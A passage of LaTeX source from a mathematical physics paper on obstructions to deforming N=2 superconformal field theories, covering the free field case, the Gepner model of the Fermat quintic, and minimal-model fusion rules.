Y(\xi_{-1/2},z)=\sum \xi_{-s}z^{n-s-1/2}&
Y(\psi_{-1/2},z)=\sum \psi_{-s}z^{n-s-1/2},
\end{array}$$ $$\begin{array}{l}
[\xi_r,\xi_{-r}]= [\psi_r,\psi_{-r}]=1\\{}
[x_n,x_{-n}]= [y_n,y_{-n}]=n.
\end{array}$$ We have, say, $$\begin{array}{l}
G^{1}_{-3/2}=\xi_{-1/2}x_{-1}+\psi_{-1/2}y_{-1}\\
G^{2}_{-3/2}=\xi_{-1/2}y_{1}-\psi_{-1/2}x_{-1}.
\end{array}$$ As usual, $$G^{\pm}_{-3/2}=\frac{1}{\sqrt{2}}(G^{1}_{-3/2}\pm i G^{2}_{-3/2}).$$ With these conventions, we have a critical chiral primary [$$\label{efun0}u=\xi_{-1/2}-i\psi_{-1/2}$$]{} (and its complex conjugate critical antichiral primary). We then see that for a non-ero coefficient $C$, [$$\label{efun1}CG^{-}_{-1/2}u=x_{-1}-iy_{-1}.$$]{} We now notice that formulas analogous to [(\[efree4\])]{} etc. apply to [(\[efun1\])]{}, but the $-1$ summans of $h$ will appear with opposite signs for the real and imaginary summands, so it will cancel out, so the regularization [(\[eiii\*\])]{}, [(\[eiii\*\*\])]{} are not needed, as expected.
Next, let us study the formula [(\[ecorft2a\])]{}. The key observation here is that we have the combinatorial identity [$$\label{efun2}\frac{1}{n_1...n_k}=
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle \sigma}\end{array}}\frac{1}{(n_{\sigma(1)}+...n_{\sigma(k)})
(n_{\sigma(1)}+...n_{\sigma(k-1)})...n_{\sigma(1)}}$$]{} where the sum on the right is over all permutations on the set $\{1,...,k\}$. Now in the present case, we have the infinitesimal iso on the $0$-momentum part, up to non-zero coefficient, [$$\label{efun3}\phi=
\sum \frac{(x_n-iy_n)(\tilde{x}_{n}+i\tilde{y}_{n})}{n}$$]{} and in the absence of regularization, the expansion of the exponentiated isomorphism on the $0$-momentum parts is simply $$\exp(\phi\epsilon).$$ (The $+$ sign in the $\tilde{\:}$’s is caused by the fact that we are in the complex conjugate Hilbert space.) Applying this to [(\[efun0\])]{}, we see that we have formulas analogous to [(\[efree8\])]{}-[(\[efree14\])]{}, and applying the exponentiated iso to [(\[efun0\])]{}, all the terms in normal order involving $x_{>0}$, $y_{>0}$ will vanish, so we end up with $${\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n<0}\end{array}}\exp(D\frac{(x_n-iy_n)(\tilde{x}_n+i\tilde{y}_n)}{
n})u$$ for some non-zero coefficient $D$. Applying [(\[efun2\])]{}, we get [(\[ecorft2a\])]{}.
Finally, the obstruction in chiral form $$\langle u^{*}(0),(G^{-}_{-1/2}u)(z_k),...,(G^{-}_{-1/2}u)(z_1),u(0)
\rangle$$ must vanish identically. To see this, we simply observe [(\[efun0\])]{}, [(\[efun1\])]{} that in the present case, $u$ is in the coset model with respect to $G^{-}_{-1/2}u$ (see the discussion below formula [(\[eg66\])]{} below). Thus, in the $N=2$-free field theory, the obstruction theory works as expected, and in the case discussed, the obstructions vanish. It is worth noting that in $2n$-dimensional $N=2$-free field theory, we thus have an $n^2$-dimensional space of $cc+aa$ real fields, and an $n^2$-dimensional space of real $ca+ac$ fields, and although regularization occurs, there is no obstruction to exponentiating the deformation by turning on any linear combination of those fields. For a free $N=2$-theory compactified on an $n$-dimensional abelian variety, this precisely recovers the deformations in the corresponding component of the moduli space of Calabi-Yau varieties.
However, other deformations exist. For an interesting calculation of deformations of the $N=2$-free field theory in “sine-Gordon” directions, see [@cgep].
The Gepner model of the Fermat quintic {#s1}
======================================
The finite weight states of one chirality (say, left moving) of the Gepner model of the Fermat quintic are embedded in the $5$-fold tensor product of the $N=2$-supersymmetric minimal model of central charge $9/5$ [@gepner; @gepner1; @gp]. More precisely, the Gepner model is an orbifold construction. This construction has two versions. In [@gepner; @gepner1; @gp], one is interested in actual string theories, so the $5$-fold tensor product of central charge $9$ of $N=2$ minimal models is tensored with a free supersymmetric CFT on $4$ Minkowski coordinates. This is then viewed in lightcone gauge, so in effect, one tensors with a $2$-dimensional supersymmetric Euclidean free CFT, resulting in $N=2$-supersymmetric CFT of central charge $12$. Finally, one performs an orbifolding/GSO projection to give a candidate for a theory for which both modularity and spacetime SUSY can be verified.
It is also possible to create an orbifold theory of central charge $9$ which is the candidate of the non-linear $\sigma$-model itself, without the spacetime coordinates. (The spacetime coordinates can be added to this construction and usual GSO projection performed if one is interested in the corresponding string theory.)
The essence of this construction not involving the spacetime coordinates is formula (2.10) of [@gvw]. In the case of the level $3$ $N=2$-minimal model, the orbifold construction is with respect to the $\Z/5$-action diagonal which acts on the eigenstates of $J_0$-eigenvalue (=“$U(1)$-charge”) $j/5 $ by $e^{2\pi ij/5}$. As we shall review, the NS part of the level $3$ $N=2$ minimal model has two sectors of $U(1)$-charge $j/5$, which we will for the moment ad hoc denote $H_{j/5}$ and $H^{\prime}_{j/5}$ for $j\in \Z/5\Z$. In the FF realization (see below), these sectors correspond to $\ell=0$, $\ell=1$, respectively. Then the NS-NS sector of the $5$-fold tensor product of minimal model has the form [$$\label{egepp1}
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle (i_k)}\end{array}} {\begin{array}{c}
{\scriptstyle 5}\\
\hat{\bigotimes}\\
{\scriptstyle k=1}\end{array}}
(H_{i_k/5}\hat{\otimes} H^{*}_{i_k/5}\oplus H^{\prime}_{i_k/5}\hat{\otimes}
H^{\prime*}_{i_k/5}).$$]{} The corresponding sector the orbifold construction (formula (2.10) of [@gvw]) of the orbifold construction has the form [$$\label{egepp2}
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle (i_k):\sum i_k\in 5\Z}\end{array}} {\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle j\in \Z/5\Z}\end{array}}
{\begin{array}{c}
{\scriptstyle 5}\\
\hat{\bigotimes}\\
{\scriptstyle k=1}\end{array}}
(H_{i_k/5}\hat{\otimes} H^*_{(j+i_k)/5}\oplus H^{\prime}_{i_k/5}\hat{\otimes}
H^{\prime*}_{(j+i_k)/5}).$$]{} Mathematically speaking, this orbifold can be constructed by noting that, ignoring for the moment supersymmetry, the $N=2$-minimal model is a tensor product of the parafermion theory of the same level and a lattice theory (see [@greene] and also below). The orbifold construction does not affect the parafermionic factor, and on the lattice coordinate, which in this case does not possess a non-zero $\Z/2$-valued form, and hence physically models a free theory compactified on a torus, the orbifold simply means replacing the torus by its factor by the free action of the diagonal $\Z/5$ translation group, which is represented by another lattice theory. On this construction, $N=2$ supersymmetry is then easily restored using the same formulas as in [(\[egepp1\])]{}, since the $U(1)$-charge of the $G$’s is integral.
The calculations in this and the next Section proceed entirely in the orbifold [(\[egepp2\])]{}, and hence can be derived from the structure of the level $3$ $N=2$-minimal model. It should be pointed out that a mathematical approach to the fusion rules of the $N=2$ minimal models was given in [@huang1]. We shall use the Coulomb gas realization of the $N=2$-minimal model, cf. [@gh], [@mus]. Let us restrict attention to the NS sector. Then, essentially, the left moving sector of the minimal model is a subquotient of the lattice theory where the lattice is $3$-dimensional, and spanned by $$(\frac{3}{\sqrt{15}},0,0),(\frac{1}{\sqrt{15}},
\frac{i}{2}\sqrt{\frac{2}{5}},\frac{i}{2}\sqrt{\frac{2}{3}}),
(\frac{2}{\sqrt{15}},0,i\sqrt{\frac{2}{3}}).$$ We will adopt the convention that we shall abbreviate $$(k,\ell,m)_{MM}=(k,\ell,m)$$ for the lattice label $$(\frac{k}{\sqrt{15}},\frac{\ell i}{2}\sqrt{\frac{2}{5}},\frac{mi}{2}
\sqrt{\frac{2}{3}}).$$ We shall also write $$(\ell,m)_{MM} =(m,\ell,m)_{MM}.$$ Call the oscillator corresponding to the $j$’th coordinate $x_{j,m}$, $j=0,1,2$. Then the conformal vector is [$$\label{eg7}\frac{1}{2}x_{0,-1}^{2}-\frac{1}{2}x_{1,-1}^{2}
+\frac{i}{2}\sqrt{\frac{2}{5}}x_{1,-2}+\frac{1}{2}x_{2,-1}^{2}.$$]{} The superconformal algebra is generated by [$$\label{eg8}{
\begin{array}{l}
G^{+}_{-3/2}=i\sqrt{\frac{1}{2}}(x_{2,-1}-\sqrt{\frac{5}{3}}x_{1,-1})
1_{(\frac{5}{\sqrt{15}},0,i\sqrt{\frac{2}{3}})}\\
G^{-}_{-3/2}=-i\sqrt{\frac{1}{2}}(x_{2,-1}+\sqrt{\frac{5}{3}}x_{1,-1})
1_{(-\frac{5}{\sqrt{15}},0,-i\sqrt{\frac{2}{3}})}.
\end{array}
}$$]{} For future reference, we will sometimes use the notation $$(a,b,c)x_{n}=ax_{0,n} +bx_{1,n}+cx_{2,n}$$ and also sometimes abbreviate $$(b,c)x_{n}=(0,b,c)x_{n}.$$ The module labels are realized by labels [$$\label{eg9}(\ell,m)=1_{(\frac{m}{\sqrt{15}},-\frac{i\ell}{2}\sqrt{
\frac{2}{3}},\frac{im}{2}\sqrt{\frac{2}{3}})},$$]{} [$$\label{eg9a}0\leq\ell\leq 3,\; m=-\ell,-\ell+2,...,\ell-2,\ell.$$]{} It is obvious that to stay within the range [(\[eg9a\])]{}, we must understand the fusion rules and how they are applied. The basic principle is that labels are indentified as follows: No identifications are imposed on the $0$’th lattice coordinate. This means that upon any identification, the $0$’th coordinate must be the same for the labels identified. Therefore, the identification is governed by the $1$st and $2$nd coordinates, which give the Coulomb gas (=Feigin-Fuchs) realization of the corresponding parafermionic theory (the “$3$ state Potts model”). The key point here are the parafermionic currents [$$\label{eg10}{
\begin{array}{l}
\psi_{1,-2/3}=i\sqrt{\frac{1}{2}}(x_{2,-1}-x_{1,-1}\sqrt{\frac{5}{3}})
1_{(0,i\sqrt{\frac{2}{3}})_{PF}}\\
\psi_{1,-2/3}^{+}=-i\sqrt{\frac{1}{2}}(x_{2,-1}+x_{1,-1}\sqrt{\frac{5}{3}})
1_{(0,-i\sqrt{\frac{2}{3}})_{PF}}
\end{array}
}$$]{} (the $0$’the coordinate is omitted). Clearly, the parafermionic currents act on the labels by [$$\label{11}{
\begin{array}{l}
\psi_{1,-2/3}:(\ell,m)_{PF}\mapsto (\ell,m+2)_{PF}\\
\psi_{1,-2/3}^{+}:(\ell,m)_{PF}\mapsto (\ell,m-2)_{PF}.
\end{array}
}$$]{} The lattice labels $(\ell,m)_{PF}$ allowed are those which have non-negative weight. This condition coincides with [(\[eg9a\])]{}. Now we impose the identification for parafermionic labels: $$(\ell,m)_{PF}=(3-\ell,m-3)_{PF}.$$ This implies [$$\label{eg12}{
\begin{array}{l}
(1,-1)_{PF}\sim(2,2)_{PF}\\
(1,1)_{PF}\sim (2,-2)_{PF}\\
(0,0)_{PF}\sim (3,-3)_{PF}\sim (3,3)_{PF}.
\end{array}
}$$]{} Now in the Gepner model corresponding to the quintic, the $(cc)$-fields allowed are [$$\label{eg15}((3,2,0,0,0)_{L},(3,2,0,0,0)_R),$$]{} [$$\label{eg16}((3,1,1,0,0)_{L},(3,1,1,0,0)_R),$$]{} [$$\label{eg17}((2,2,1,0,0)_{L},(2,2,1,0,0)_R),$$]{} [$$\label{eg18}((2,1,1,1,0)_{L},(2,1,1,1,0)_R),$$]{} [$$\label{eg19}((1,1,1,1,1)_{L},(1,1,1,1,1)_R),$$]{} and the $(ac)$-field allowed is [$$\label{eg20}((-1,-1,-1,-1,-1)_{L},(1,1,1,1,1)_R).$$]{} Here we wrote $\ell$ for $1_{(\ell,\ell)_{MM}}$, $(\ell=0,...,3)$, which is a chiral primary in the $N=2$ minimal model of weight $\ell/10$, and $-\ell$ for $1_{(\ell,-\ell)_{MM}}$, which is antichiral primary of weight $\ell/10$. The tuple notation in [(\[eg15\])]{}-[(\[eg20\])]{} really means tensor product. We omit permutations of the fields [(\[eg15\])]{}-[(\[eg18\])]{}, so counting all permutations, there are $101$ fields [(\[eg15\])]{}-[(\[eg19\])]{}.
We will need an understanding of the fusion rules in the level $3$ Potts model and $N=2$-supersymmetric minimal model of central charge $9/5$. In the level $3$ Potts model, we have $6$ labels [$$\label{eF1}(0,0)_{PF},\; (3,1)_{PF},\; (3,-1)_{PF},$$]{} [$$\label{eF2}(1,1)_{PF},\; (1,-1)_{PF},\; (2,0)_{PF}.$$]{} This can be described as follows: the labels [(\[eF1\])]{} have the same fusion rules as the lattice $L=\langle i\sqrt{6}\rangle\subset \C$, i.e. [$$\label{eF3}L^{\prime}/L$$]{} where $L^{\prime}$ is the dual lattice (into which $L$ is embedded using the standard quadratic form on $\C$). This dual lattice is $\langle \frac{i}{2}\sqrt{\frac{2}{3}}\rangle$, and the fusion rule is “abelian”, which means that the product of labels has only one possible label as outcome, and is described by the product in $L^\prime/L$. The label $\pm \frac{i}{2}\sqrt{\frac{2}{3}}$ corresponds to $(0,\pm2)_{PF}\sim (3,\mp1)_{PF}$.
Next, the product of $(2,0)_{PF}$ with $(3,\mp 1)_{PF}$ has only one possible outcome, $(2,\pm 2)_{PF}=(1,\mp 1)_{PF}$. The product of $(2,0)_{PF}$ with itself has two possible outcomes, $(2,0)_{PF}$ and $(0,0)_{PF}$. All other products are determined by commutativity, associativity and unitality of fusion rules.
The result can be summarized as follows: We call [(\[eF1\])]{} level $0,3$ labels and [(\[eF2\])]{} level $1,2$ labels. Every level $1,2$ label has a corresponding label of level $0,3$. The correspondence is [$$\label{eF4}
\begin{array}{lll}
(0,0)_{PF}&\leftrightarrow&(2,0)_{PF}\\
(3,1)_{PF}&\leftrightarrow&(1,1)_{PF}\\
(3,-1)_{PF}&\leftrightarrow&(1,-1)_{PF}.
\end{array}$$]{} As described above, the fusion rules on level $0,3$ are determined by the lattice theory of $L$. Additionally, multiplication preserves the correspondence [(\[eF4\])]{}, while the level of the product is restricted only by requiring that any level added to level $0,3$ is the original level.
To put it in another way still, the Verlinde algebra is [$$\label{eF5}\Z[\zeta]/(\zeta^3-1)\otimes \Z[\epsilon]/(\epsilon^2-
\epsilon-1)$$]{} where $\zeta=(3,1)_{PF}$ and $\epsilon=(2,0)_{PF}$.
In the $N=2$ supersymmetric minimal model (MM) case, we allow labels [$$\label{eF*}(3k+m,\ell,m)_{MM}$$]{} where $(\ell,m)$ is a PF label, $k\in \Z$. Two labels [(\[eF\*\])]{} are identified subject to identifications of PF labels, and also [$$\label{eF6}(j,\ell,m)_{MM}\sim (j+15,\ell,m)_{MM},$$]{} and, as a result of SUSY, [$$\label{eF7}(j,\ell,m)_{MM}\sim (j-5,\ell,m-2)_{MM}.$$]{} (By $\sim$ we mean that the labels (i.e. VA modules) are identified, but we do not imply that the states involved actually coincide; in the case [(\[eF7\])]{}, they have different weights.) Recalling again that we abbreviate $(m,\ell,m)_{MM}$ as $(\ell,m)_{MM}$, we get the following labels for the $c=9/5$ $N=2$ SUSY MM: [$$\label{eF8}\begin{array}{lll}
(0,0)_{MM}&\leftrightarrow&(2,0)_{MM}\\
(3,3)_{MM}&\leftrightarrow&(2,-2)_{MM}\\
(3,1)_{MM}&\leftrightarrow&(1,1)_{MM}\\
(3,-1)_{MM}&\leftrightarrow&(1,-1)_{MM}\\
(3,-3)_{MM}&\leftrightarrow&(2,2)_{MM}.
\end{array}$$]{} Again, the left column [(\[eF8\])]{} represents $0,3$ level labels, the right column represents level $1,2$ labels. The left column labels multiply as the labels of the lattice super-CFT corresponding to the lattice $\Lambda$ in $\C\oplus\C$ spanned by [$$\label{eF9}(\sqrt{15},0),\; (\frac{5}{\sqrt{15}},i\sqrt{\frac{2}{3}})$$]{} (recall that a super-CFT can be assigned to a lattice with integral quadratic form; the quadratic form on $\C\oplus\C$ is the standard one, the complexification of the Euclidean inner product). The dual lattice of [(\[eF9\])]{} is spanned by [$$\label{eF10}(\frac{3}{\sqrt{15}},0),\; (\frac{5}{\sqrt{15}},i\sqrt{\frac{2}{3}}),$$]{} which correspond to the labels $(3,0,0)_{MM}$, $(5,3,-1)_{MM}$, respectively. We see that [$$\label{eF11}\Lambda^{\prime}/\Lambda\cong \Z/5.$$]{} In [(\[eF8\])]{}, the rows (counted from top to bottom as $0,...,4$) match the corresponding residue class [(\[eF11\])]{}. The fusion rules for $(2,0)_{MM}$, $(0,0)_{MM}$ are the same as in the PF case. Hence, again, multiplication of labels preserves the rows [(\[eF8\])]{}, and the Verlinde algebra is isomorphic to [$$\label{eF12}\Z[\eta]/(\eta^5-1)\otimes \Z[\epsilon]/(\epsilon^2-
\epsilon-1)$$]{} where $\eta$ is $(3,3)_{MM}$.
[**Remark:**]{} As remarked in Section \[sexp\], the positive definiteness of the modular functor, which is crucial for our theory to work, is a requirement for a physical CFT. It is interesting to note, however, that if we do not include this requirement, other possible choices of real structure are possible on the modular functor: The Verlinde algebra of a lattice modular functor with another modular functor $M$ with two labels $1$ and $\epsilon$, and Verlinde algebras [(\[eF5\])]{}, [(\[eF12\])]{} are tensor products of lattice Verlinde algebras and the algebra $$\Z[\epsilon]/(\epsilon^2-\epsilon-1).$$ The real structure of this last modular functor can be changed by multiplying by $-1$ the complex conjugation in $M_\Sigma$ for a worldsheet $\Sigma$ precisely when $\Sigma$ has an odd number of boundary components labelled on level $1$, $2$. The resulting modular functor of this operation is not positive-definite.
Let us now discuss the question of vertex operators in the PF realization of the minimal model. Clearly, since the $0$’th coordinate acts as a lattice coordinate and is not involved in renaming, it suffices the question for the parafermions. Now in the Feigin-Fuchs realization of the level $3$ PF model, any state can be written as [$$\label{eFst}u 1_{\lambda}$$]{} where $\lambda$ is one of the labels [(\[eg9a\])]{} and $u$ is a state of the Heisenberg representation of the Heisenberg algebra generated by $x_{i,m}$, $i=1,2$, $m\neq 0$. The situation is however further complicated by the fact that not all Heisenberg states $u$ are allowed for a given label $\lambda$. We shall call the states which are in the image of the embedding admissible. For example, since the $\lambda=0$ part of the PF model is isomorphic to the coset model $SU(2)/S^1$ of the same level, states [$$\label{eFst1}(a,b)x_{-1}(0,0)_{PF}$$]{} are not admissible for $(a,b)\neq (0,0)$. One can show that admissible states are exactly those which are generated from the ground states [(\[eg9a\])]{} by vertex operators and PF currents. Because not all states are admissible, however, there are also states whose vertex operators are $0$ on admissible states. Let us call them null states. For example, since [(\[eFst1\])]{} is not admissible, it follows that [$$\label{eFst2}(a,b)x_{-1}(3,3)_{PF},$$]{} which is easily seen to be admissible for any choice of $(a,b)$, is null.
Determining explicitly which states are admissible and which are null is extremely tricky (cf. [@gh]). Fortunately, we don’t need to address the question for our purposes. This is because we will only deal with states which are explicitly generated by the primary fields, and hence automatically admissible; because of this, we can ignore null states, which do not affect correlation functions of admissible states.
On the other hand, we do need an explicit formula for vertex operators. One method for obtaining vertex operators is as follows. We may rename fields using the identifications [(\[eg12\])]{} and also PF currents: a PF current applied to a renamed field must be equal to the same current applied to the original field. Note that this way we may get Heisenberg states above labels which fail to satisfy [(\[eg9a\])]{}. Such states are also admissible, even though the corresponding “ground states” (which have the same name as the label) are not. Now if we have two admissible states $$u_i 1_{(\ell_i, m_i)},\; i=1,2$$ where $0\leq \ell_i\leq 3$ and $\ell_1+\ell_2\leq 3$, then the lattice vertex operator [$$\label{eFst10}(u_1 1_{(\ell_1,m_1)})(z)u_21_{(\ell_2,m_2)}$$]{} always satisfies our fusion rules, and (up to scalar multiple constant on each module) is a correct vertex operator of the PF theory. This is easily seen simply by the fact that [(\[eFst10\])]{} intertwines correctly with module vertex operators (which are also lattice operators).
While in our examples, it will suffice to always consider operators obtained in the form [(\[eFst10\])]{}, it is important to realize that they do not describe the PF vertex operators completely. The problem is that when we want to iterate vertex operators, we would have to keep renaming states. But when two ground states $1_{\lambda}$, $1_{\mu}$ are identified via the formula [(\[eg12\])]{}, it does not follow that we would have [$$\label{eFst+}u 1_{\lambda} =u 1_{\mu}$$]{} for every Heisenberg state $u$. On the contrary, we saw for example that [(\[eFst1\])]{} is inadmissible, while [(\[eFst2\])]{} is null. One also notes that one has for example the identification [$$\label{eFst+1}\lambda x_{-1}1_{\lambda}=L_{-1}1_{\lambda}=
L_{-1}1_{\mu} = \mu x_{-1}1_{\mu},$$]{} which is not of the form [(\[eFst+\])]{}.
Because of this, to describe completely the full force of the PF theory, one needs another device for obtaining vertex operators (although we will not need this in the present paper). Briefly, it is shown in [@gh] that up to scalar multiple, any vertex operator $$u(z)v=Y(u,z)(v)$$ where $u,v$ are admissible states can be written as [$$\label{eFst++}\oint...\oint (a_k x_{-1}1_{(0,-2)})(t_k)...(a_1 x_{-1}1_{(0,-2)}(t_1)
u(z)v dt_1...dt_k$$]{} where the operators in the argument [(\[eFst++\])]{} are lattice vertex operators and the number $k$ is selected to conform with the given fusion rule. While it is easy to show that operators of the form [(\[eFst++\])]{} are correct vertex operators on admissible states (again up to scalar multiple constant on each irreducible module), as the “screening operators” $$ax_{-1}1_{(0,-2)}$$ commute with PF currents, selecting the bounds of integration (“contours”) is much more tricky. Despite the notation, it is not correct to imagine these as integrals over closed curves, at least not in general. One approach which works is to bring the argument of [(\[eFst++\])]{} to normal order, which expands it as an infinite sum of terms of the form [$$\label{eFst+++}\prod (t_i-t_j)^{\alpha_{ij}}t_k^{\beta_k}$$]{} (where we put $t_0=z$) with coefficients which are lattice vertex operators. Then to integrate [(\[eFst+++\])]{}, for $\alpha_{ij},\beta_k>0$, we may simply integrate $t_i$ from $0$ to $t_{i-1}$, and define the integral by analytic continuation in the variables $\alpha_{ij}$, $\beta_k$ otherwise.
The functions obtained in this way are generalized hypergeometric functions, and fail for example the assumptions of Theorem \[l1\] (see Remark 2 after the Theorem). The explanation is in the fact that, as we already saw, the fusion rules are not “abelian” in this case.
The Gepner model: the obstruction {#sexam}
=================================
We will now show that for the Gepner model of the Fermat quintic, the function [(\[ecorelii\])]{} may not vanish for the deforming field [(\[eg15\])]{}. This means, not all perturbative deformations corresponding to marginal fields exist in this case. We emphasize that our result applies to deformations of the CFT itself (of central charge $9$). A different approach is possible by embedding the model to string theory, and investigating the deformations in that setting (cf. [@dkl]). Our results do not automatically apply to deformations in that setting.
We will consider $$v=u=(3,3,3)\otimes (2,2,2).$$ (In the remaining three coordinates, we will always put the vacuum, so we will omit them from our notation.) First note that by Theorem [(\[t2\])]{}, this is actually the only relevant case [(\[ecorelii\])]{}, since the only other chiral primary field of weight $1/2$ with only two non-vacuum coordinates is $(2,2,2)\otimes (3,3,3)$, which cannot correlate with the right hand side of [(\[ecorelii\])]{}, whose first coordinate is on level $0,3$. In any case, we will show therefore that the Gepner model has an obstruction against continuous perturbative deformation along the field [(\[eg15\])]{} in the moduli space of exact conformal field theories.
Now the chiral correlation function [(\[ecorelii\])]{} is a complicated multivalued function because of the integrals [(\[eFst+++\])]{}, which are generalized hypergeometric functions. As remarked above, the modular functor has a canonical flat connection on the space of degenerate worldsheets whose boundary components are shifts of the unit circle with the identity parametrization. The flat connection comes from the fact that these degenerate worldsheets are related to each other by applying $\exp (zL_{-1})$ to their boundary components. This is why we can speak of analytic continuation of a branch of the correlation function corresponding to a particular fusion rule. It can further be shown (although we do not need to use that result here) that the continuations of the correlation function corresponding to any one particular fusion rules generate the whole correlation function (i.e. the whole modular functor is generated by any one non-zero section).
Let us now investigate which number $m$ we need in [(\[ecorelii\])]{}. In our case, we have [$$\label{eexam+}G_{-1/2}^{-}(u)=G_{-1/2}^{-}(3,3,3)\otimes (2,2,2)-
(3,3,3)\otimes G^{-}_{-1/2}(2,2,2).$$]{} (The sign will be justified later; it is not needed at this point.) The first summand [(\[eexam+\])]{} has $x_{0,0}$-charge $(-2/\sqrt{15},2/\sqrt{15})$, the second has $x_{0,0}$-charge $(3/\sqrt{15},-3/\sqrt{15})$. Thus, the charges can add up to $0$ only if $m$ is a multiple of $5$. The smallest possible obstruction is therefore for $m=5$, in which case [(\[ecorelii\])]{} is a $7$ point function. Let us focus on this case. This function however is too big to calculate completely. Because of this, we use the following trick.
First, it is equivalent to consider the question of vanishing of the function [$$\label{eexam1}\langle 1|(G^{-1}_{-1/2}u)(z_5)...(G^{-1}_{-1/2}u)(z_1)
u(z_0)\overline{u}(t)\rangle.$$]{} Now by the OPE, it is possible to transform any correlation function of the form [$$\label{eexam2}\langle...|...v(z)w(t)...\rangle$$]{} to the correlation function [$$\label{eexam3}\langle...|...(v_nw)(t)...\rangle$$]{} (all other entries are the same). More precisely, [(\[eexam2\])]{} is expanded, in a certain range and choice of branch, into a series in $z-t$ with coefficients [(\[eexam3\])]{} for values of $n$ belonging to a coset $\Q/\Z$. By the above argument, therefore, the function [(\[eexam2\])]{} vanishes if and only if the function [(\[eexam3\])]{} vanishes for all possible choices of $n$ associated with one fixed choice of fusion rule.
In the case of [(\[eexam1\])]{}, we shall divide the fields on the right hand side into two sets $G_x$, $G_y$ containing two copies of $G^{-}_{-1/2}$ each, and a set $G_z$ containing the remaining three fields $u, \overline{u}$ and $G^{-}_{-1/2}$. Each set $G_x$, $G_y$, $G_z$ will be reduced to a single field using the transition from [(\[eexam2\])]{} to [(\[eexam3\])]{} (twice in the case of $G_z$). To simplify notation (eliminating the subscripts), we will denote the fields resulting from $G_x$, $G_y$, $G_z$ by $a(x)$, $b(y)$, $c(z)$, respectively. Thus, $x,y,z$ are appropriate choices among the variables $z_i,t$, depending how the transition from [(\[eexam2\])]{} to [(\[eexam3\])]{} is applied.
This reduces the correlation function [(\[eexam1\])]{} to [$$\label{eexam4}\langle 1| a(x) b(y) c(z)\rangle.$$]{} Most crucially, however, we make the following simplification: We shall choose the fusion rules in such a way that the fields $a,b,c$ are level $0,3$ in the Feigin-Fuchs realization, and at most one of the charges will be $3$ (in each coordinate). Then, [(\[eexam4\])]{} is just a lattice correlation function, for the computation of which we have an algorithm.
To make the calculation correctly, we must keep careful track of signs. When taking a tensor product of super-CFT’s, one must add appropriate signs analogous to the Koszul-Milnor signs in algebraic topology. Now a modular functor of a super-CFT decomposes into an even part and an odd part. Additionally, more than one choice of this decomposition may be possible for the same theory, depending on which bottom states of irreducible modules are chosen as even or odd. The sign of a fusion rule is then determined by whether composition along the pair of pants with given labels preserves parity of states or not. Mathematically, this phenomenon was noticed by Deligne in the case of the determinant line (cf. [@spin]). (Deligne also noticed that in some cases no consistent choice of signs is possible and a more refined formalism is needed; a single fermion of central charge $1/2$ is an example; this is also discussed in [@spin]. However, this will not be needed here.)
In the case of the $N=2$-minimal model, there is a choice of parities of ground states of irreducible modules which make the whole modular functor (all the fusion rules) even: simply choose the parity of $(k,\ell,m)$ to be $k\mod 2$. We easily see that this is compatible with supersymmetry.
Now in this case of completely even modular functor, the signs simplify, and we put [$$\label{eexam4a}Y(u\otimes v,z)(r\otimes s)=
(-1)^{\pi(u)\pi(v)}Y(u,z)r\otimes Y(v,z)s$$]{} (where $\pi(u)$ means the parity of $u$). Regarding supersymmetry (if present), an element $H$ of the superconformal algebra also acts on a tensor product by [$$\label{eexam5}H(u\otimes v)= Hu\otimes v +(-1)^{\pi(H)\pi(u)}u\otimes Hv,$$]{} in particular [$$\label{eexam6}G^{-}_{-1/2}(u\otimes v)=
(G^{-}_{-1/2}u)\otimes v +(-1)^{\pi(u)}u\otimes (G^{-}_{-1/2}v).$$]{} We see that because of [(\[eexam6\])]{}, the fields $a,b,c$ may have the form of sum of several terms.
[**Example 1:**]{} Recall that the inner product (more precisely symmetric bilinear form) of labels considered as lattice points is [$$\label{eexam7}\langle(r_1,s_1,t_1),(r_2,s_2,t_2)\rangle=
\frac{r_1 r_2}{15}+\frac{s_1 s_2}{10}-\frac{t_1 t_2}{6}.$$]{} Recall also (from the definition of energy-momentum tensor) that weight of the label ground states is calculated by [$$\label{eexam8}w(r,s,t)_{MM}=\frac{r^2}{30}+w(s,t)_{PF}
=\frac{r^2}{30}+\frac{s(s+2)}{20}-\frac{t^2}{12}.$$]{} Now we have [$$\label{eexam10}u=(3,3,3)\otimes (2,2,2)=(3,0,0)\otimes (2,1,-1).$$]{} We begin by choosing the field $c$. Compose first $u$ and [$$\label{eexam11}\overline{u}=(-3,3,-3)\otimes (-2,2,-2)=(-3,0,0)\otimes (-2,1,1).$$]{} We choose the non-zero $u_n \overline{u}$ of the bottom weight for the fusion rule which adds the lattice charges on the right hand side of [(\[eexam10\])]{}, [(\[eexam11\])]{}. The result is [$$\label{eexam12}u_{-1/10}\overline{u}=(0,0,0)\otimes (0,2,0).$$]{} Next, apply $G^{-}_{-1/2}u$ to [(\[eexam12\])]{}. Again, we will choose the bottom descendant. Now $G^{-}_{-1/2}u$ has two summands, [$$\label{eexam13}(-2,3,1)\otimes (2,1,-1)$$]{} and [$$\label{eexam14}(3,0,0)\otimes (0,5,3)x_{-1}(-3,1,3)$$]{} (the term [(\[eexam14\])]{} involves renaming to stay withing no-ghost PF labels after composition). Applying [(\[eexam13\])]{} to [(\[eexam12\])]{} gives bottom descendant [$$\label{eexam15}(-2,3,1)\otimes (2,3,-1)\;\text{of weight $8/5$},$$]{} applying [(\[eexam14\])]{} to [(\[eexam12\])]{} gives bottom descendant [$$\label{eexam16}(3,0,0)\otimes (-3,0,0)\;\text{of weight $3/5$}.$$]{} Since [(\[eexam16\])]{} has lower weight than [(\[eexam15\])]{}, [(\[eexam15\])]{} may be ignored, and we can choose [$$\label{eexam17}c=(3,0,0)\otimes (-3,0,0).$$]{} Now again, using the formula [(\[eexam6\])]{}, we see that in the sets of fields $G_x$, $G_y$ we need one summand [(\[eexam14\])]{} and three summands [(\[eexam13\])]{} to get to $x_{00}$-charge $0$. Thus, one of the groups $G_x$, $G_y$ will contain two summands of [(\[eexam13\])]{} and the other will contain one. We employ the following convention: [$$\label{eexam18}\parbox{3.5in}{We choose $G_y$ to contain
two summands {(\ref{eexam13})} and $G_x$ to contain
one summand {(\ref{eexam13})} and one summand {(\ref{eexam14})}.}$$]{} This leads to the following: [$$\label{eexam18a}\parbox{3.5in}{We must choose the fields $a$
